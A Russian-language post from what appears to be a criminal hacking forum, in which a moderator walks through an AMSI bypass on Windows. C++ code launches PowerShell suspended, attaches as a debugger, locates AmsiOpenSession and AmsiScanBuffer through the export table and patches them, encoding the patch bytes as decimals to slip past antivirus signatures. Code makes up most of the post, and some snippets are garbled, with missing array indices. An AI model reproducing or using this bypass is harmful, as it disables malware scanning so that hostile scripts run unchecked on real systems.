• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Способ обхода AMSI в Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Antimalware Scan Interface — система, которую в Microsoft создали для защиты от вредоносных сценариев на PowerShell. В этой статье я продемонстрирую, как работает один из методов обхода этого механизма. Мы будем запускать сценарий PowerShell как процесс под отладкой, что откроет некоторые интересные возможности.
На высоком уровне AMSI хукает каждую команду или сценарий во время выполнения и передает их локальному антивирусному ПО для проверки. Причем поддерживаются практически любые антивирусы, это может быть не только стандартный Defender.

AMSI умеет работать:
  • с PowerShell;
  • Windows Script Host (wscript и cscript);
  • JavaScript и VBScript;
  • VBA-макросами.
Проблема такой реализации в том, что amsi.dll (в которой реализована вся логика AMSI) находится в адресном пространстве текущего процесса. Как следствие, у атакующих появляется возможность манипулировать этой библиотекой так, как они захотят сами. Уже придумано множество способов обхода, это и amsiInitFailed, и хукинг, и патчинг. Сегодня мы обсудим еще один метод обхода — запуск процесса PowerShell в режиме отладки.

Становимся дебаггером​

Недавно я обнаружил интересную API-функцию DebugActiveProcess(), которая позволяет нашему процессу стать дебаггером для другого процесса. Прототип у нее очень простой, ей нужно передать лишь PID процесса, который требуется отлаживать.

Код:
BOOL DebugActiveProcess(
  [in] DWORD dwProcessId
);

К сожалению, абы какой процесс отлаживать не получится. Успешный вызов этой функции получится, только если выполняется хотя бы одно из следующих условий:
  • у токена нашего процесса есть SeDebugPrivilege;
  • мы можем запросить хендл на отлаживаемый процесс с маской PROCESS_ALL_ACCESS.
Казалось бы, требования более чем серьезные, но ничто не мешает нам запустить процесс powershell.exe как дочерний, а на дочерний процесс наш родительский уж точно сможет запросить маску PROCESS_ALL_ACCESS.

Что же нам даст статус дебаггера? Единственное преимущество — возможность обрабатывать Debug-события, среди которых LOAD_DLL_DEBUG_EVENT. Событие генерируется сразу же, как только идет попытка загрузки DLL в адресное пространство отлаживаемого процесса. Причем будет заполнена структура LOAD_DLL_DEBUG_INFO, содержащая базовый адрес подгружаемой библиотеки. А с базовым адресом уже можно наворотить немало дел...

Предлагаю перейти к практике. Во‑первых, мы не можем слепо взять и запустить процесс, а потом непонятно когда прицепиться к нему отладчиком — так есть шанс пропустить момент загрузки amsi.dll в процесс. Поэтому процесс должен быть запущен с флагом CREATE_SUSPENDED. Во‑вторых, из‑за того, что мы никак не обрабатываем Debug-события, приложение может упасть. Поэтому после того, как пропатчим AMSI, следует как можно скорее переставать быть дебаггером.

Для создания процесса я написал отдельную функцию StartProcessSuspended().

Код:
DWORD StartProcessSuspended(LPWSTR ProcName, HANDLE& hThread, HANDLE& hProc) {
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        DWORD err = GetLastError();
        std::cout << h("[-] Cant Create Suspended Process : ") << err << " " << GetWinapiErrorDescription(err) << std::endl;
        return -1;
    }
    hThread = pi.hThread;
    hProc = pi.hProcess;

#ifdef DEBUG
    std::cout << h("[+] Process Created Successfully") << std::endl;
#endif

    return pi.dwProcessId;

}

Здесь дополнительно указан флаг CREATE_NEW_CONSOLE. Он нужен, чтобы powershell.exe запускалась как новая консоль. Как будто мы ее запустили вручную, дважды кликнув на исполняемый файл. Функция возвращает PID созданного процесса, а также инициализирует хендлы, указывающие на главный поток процесса и на сам процесс.

После создания процесса мы должны прицепиться к нему в качестве отладчика. Делаем это при помощи функции DebugActiveProcess().

Код:
if (!DebugActiveProcess(pid))
    {
        DWORD err = GetLastError();
        std::cerr << h("[-] Failed to attach to process: ") << err << " " << GetWinapiErrorDescription(err) << std::endl;
        return 1;
    }

Этой функции требуется только PID, PID возвращается из StartProcessSuspended(). Теперь можем смело возобновлять основной поток процесса, не боясь пропустить загрузку amsi.dll. После возобновления потока процесса сразу же вызываем WaitForDebugEvent() и начинаем обрабатывать отладочные события.

Функция WaitForDebugEvent() служит для обработки всех отладочных событий и имеет простой прототип.

Код:
BOOL WaitForDebugEvent(
  [out] LPDEBUG_EVENT lpDebugEvent,
  [in]  DWORD         dwMilliseconds
);

  • lpDebugEvent — экземпляр специальной структуры, которая будет содержать информацию об отладочном событии;
  • dwMilliseconds — время, в течение которого ожидать отладочное событие. Ставим INFINITE, чтобы ждать бесконечно.
После появления любого отладочного события функция вернет true, а в lpDebugEvent.dwDebugEventCode будет лежать тип события. Нас интересуют только LOAD_DLL_DEBUG_EVENT и EXIT_PROCESS_DEBUG_EVENT. Вызов функции обычно заворачивают в цикл while, а события обрабатывают через switch-case.

Код:
while (WaitForDebugEvent(&debugEvent, INFINITE))
    {
        switch (debugEvent.dwDebugEventCode) {
        case LOAD_DLL_DEBUG_EVENT:
                ...
            break;
        case EXIT_PROCESS_DEBUG_EVENT:
                ...
            break;
        }
        ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE);
    }

Теперь нужно убедиться в том, что подгрузилась действительно amsi.dll (другие библиотеки нас не интересуют). Для получения имени библиотеки по ее хендлу (хендл будет лежать в lpDebugEvent.u.LoadDll.hFile) выполняется функция GetFinalPathNameByHandleA(). Она вернет в свой второй параметр полный путь DLL, который мы будем сравнивать с оригинальным местоположением amsi.dll.

Код:
case LOAD_DLL_DEBUG_EVENT:
     char szName[MAX_PATH];
     if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName, MAX_PATH, VOLUME_NAME_DOS))
     {
        if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\amsi.dll")) == 0) {

        // Подгрузился AMSI
        }
    }

Наконец, приступаем к патчингу библиотеки. Сначала сохраняем базовый адрес загрузки (его можно получить из lpDebugEvent.u.LoadDll.lpBaseOfDll) в отдельную переменную. Следующим шагом нам нужно получить адреса функций AmsiOpenSession() и AmsiScanBuffer(). Их‑то мы и будем патчить. Есть два варианта:
  • простой способ. Грузим в адресное пространство собственного процесса библиотеку amsi.dll и через GetProcAddress() получаем адреса нужных функций. Из‑за особенностей DLL эти функции будут расположены по тем же адресам в процессе powershell.exe;
  • сложный способ. Ничего не грузим в собственный процесс, а парсим EAT подгружаемой в текущий момент в процесс PowerShell библиотеки amsi.
Я, само собой, выбрал сложный способ. Для этого вывел всю логику по парсингу EAT в отдельную функцию GetFunctionAddressFromEAT(), она принимает хендл процесса, базовый адрес библиотеки, а также имя функции, адрес которой нужно получить.

Код:
FARPROC GetFunctionAddressFromEAT(HANDLE hProcess, LPVOID baseAddress, const std::string& functionName)
{
    DWORD err;
    IMAGE_DOS_HEADER dosHeader;
    if (!ReadProcessMemory(hProcess, baseAddress, &dosHeader, sizeof(dosHeader), nullptr))
    {
        err = GetLastError();
        std::cout << h("[-] Failed to read IMAGE_DOS_HEADER: ") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
        return nullptr;
    }

    IMAGE_NT_HEADERS ntHeader;
    if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader), nullptr))
    {
        err = GetLastError();
        std::cout << h("[-] Failed to read IMAGE_NT_HEADERS") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
        return nullptr;
    }

    IMAGE_EXPORT_DIRECTORY exportDirectory;
    if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) +
        ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
        &exportDirectory, sizeof(exportDirectory), nullptr))
    {
        err = GetLastError();
        std::cout << h("[-] Failed to read IMAGE_EXPORT_DIRECTORY") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
        return nullptr;
    }

    DWORD* functionAddresses = new DWORD[exportDirectory.NumberOfFunctions];
    ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfFunctions,
        functionAddresses, sizeof(DWORD) * exportDirectory.NumberOfFunctions, nullptr);

    DWORD* functionNames = new DWORD[exportDirectory.NumberOfNames];
    ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfNames,
        functionNames, sizeof(DWORD) * exportDirectory.NumberOfNames, nullptr);

    WORD* functionNameOrdinals = new WORD[exportDirectory.NumberOfNames];
    ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfNameOrdinals,
        functionNameOrdinals, sizeof(WORD) * exportDirectory.NumberOfNames, nullptr);

    FARPROC functionAddress = nullptr;
    for (DWORD i = 0; i < exportDirectory.NumberOfNames; ++i)
    {
        char name[256] = { 0 };
        ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + functionNames, name, sizeof(name), nullptr);
        if (functionName == name)
        {
            DWORD functionOrdinal = functionNameOrdinals;
            DWORD functionRelativeVirtualAddress = functionAddresses[functionOrdinal];
            functionAddress = reinterpret_cast<FARPROC>(reinterpret_cast<std::uint8_t*>(baseAddress) + functionRelativeVirtualAddress);
            break;
        }
    }


    delete[] functionAddresses;
    delete[] functionNames;
    delete[] functionNameOrdinals;

    return functionAddress;
}

PVOID addr = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiOpenSession"));

Здесь идет стандартный парсинг EAT, просто библиотеки другого процесса. После получения адреса переходим к патчу. Я рекомендую использовать патч Для просмотра ссылки Войди или Зарегистрируйся. Проблема лишь в том, что его патч уже известен и на последовательность 0x48, 0x31, 0xC0 могут ругаться антивирусы. Поэтому предлагаю сохранить патч в виде последовательности десятичных чисел и конвертировать шестнадцатеричные на лету.

Код:
int values[3] = { 72, 49, 192 };
char patch[3];
std:stringstream oss;
for (int i = 0; i < 3; i++) {
    oss << std::hex << std::setw(2) << std::setfill('0') << values;
    std::string hexValue = oss.str();
    patch = std::stoi(hexValue, nullptr, 16);
    oss.str("");
}

Сам патч применить несложно — достаточно воспользоваться функцией WriteProcessMemory(), которой передадим хендл процесса powershell.exe и адрес функции, которую нужно пропатчить. В данном случае — AmsiOpenSession().

Код:
WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr);
DWORD err1 = GetLastError();
if (err1 != 0) {
    std::cout << h("[-] Error patching AmsiOpenSession: ") << err1 << h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}

Точно таким же образом патчим AmsiScanBuffer().

Код:
PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiScanBuffer"));
int values2[6] = { 184, 87,0,7,128,195 };
char patch2[6];
std:stringstream oss2;
for (int i = 0; i < 6; i++) {
    oss2 << std::hex << std::setw(2) << std::setfill('0') << values2;
    std::string hexValue2 = oss2.str();
    patch2 = std::stoi(hexValue2, nullptr, 16);
    oss2.str("");
}
WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr);
err1 = GetLastError();
if (err1 != 0) {
    std::cout << h("[-] Error patching AmsiScanBuffer: ") << err1 << h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}
std::cout << h("[+] Patching Complete") << std::endl;
goto me;

Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим метку на функцию DebugActiveProcessStop().

Код:
me:
if (!DebugActiveProcessStop(pid))
    {
   DWORD ll = GetLastError();
   std::cerr << h("[-] Failed to detach from process: ") << ll << h(" ") << GetWinapiErrorDescription(ll) << std::endl;
    return -1;
  }

Полный код проекта доступен на Для просмотра ссылки Войди или Зарегистрируйся. Достаточно лишь запустить исполняемый файл, а он приведет к тому, что у нас появится окно powershell.exe, уже с пропатченным AMSI!

Успешный патч
Успешный патч



Избегаем использования функции DebugActiveProcess​

Функция DebugActiveProcess(), конечно, хороша, но хотелось бы избежать и ее использования. В нашем случае это возможно: я нашел еще один интересный флаг, который можно указать при запуске дочернего процесса. С этим флагом мы автоматически становимся отладчиком для дочернего процесса, что позволяет обрабатывать все отладочные события. Для этого достаточно лишь указать в функции CreateProcess() значение DEBUG_ONLY_THIS_PROCESS.

Для просмотра ссылки Войди или Зарегистрируйся
В таком случае часть с вызовом функции DebugActiveProcess() можно закомментировать — она больше не нужна.

Работающий патч
Работающий патч



Заключение

WinAPI настолько огромен, что даже самые легитимные фичи могут помочь атакующему достичь своих целей. Самое главное — найти нужную функцию и понять, в какой момент к ней обращаться. А все остальное — дело техники!
 
Activity
So far there's no one here
Сверху Снизу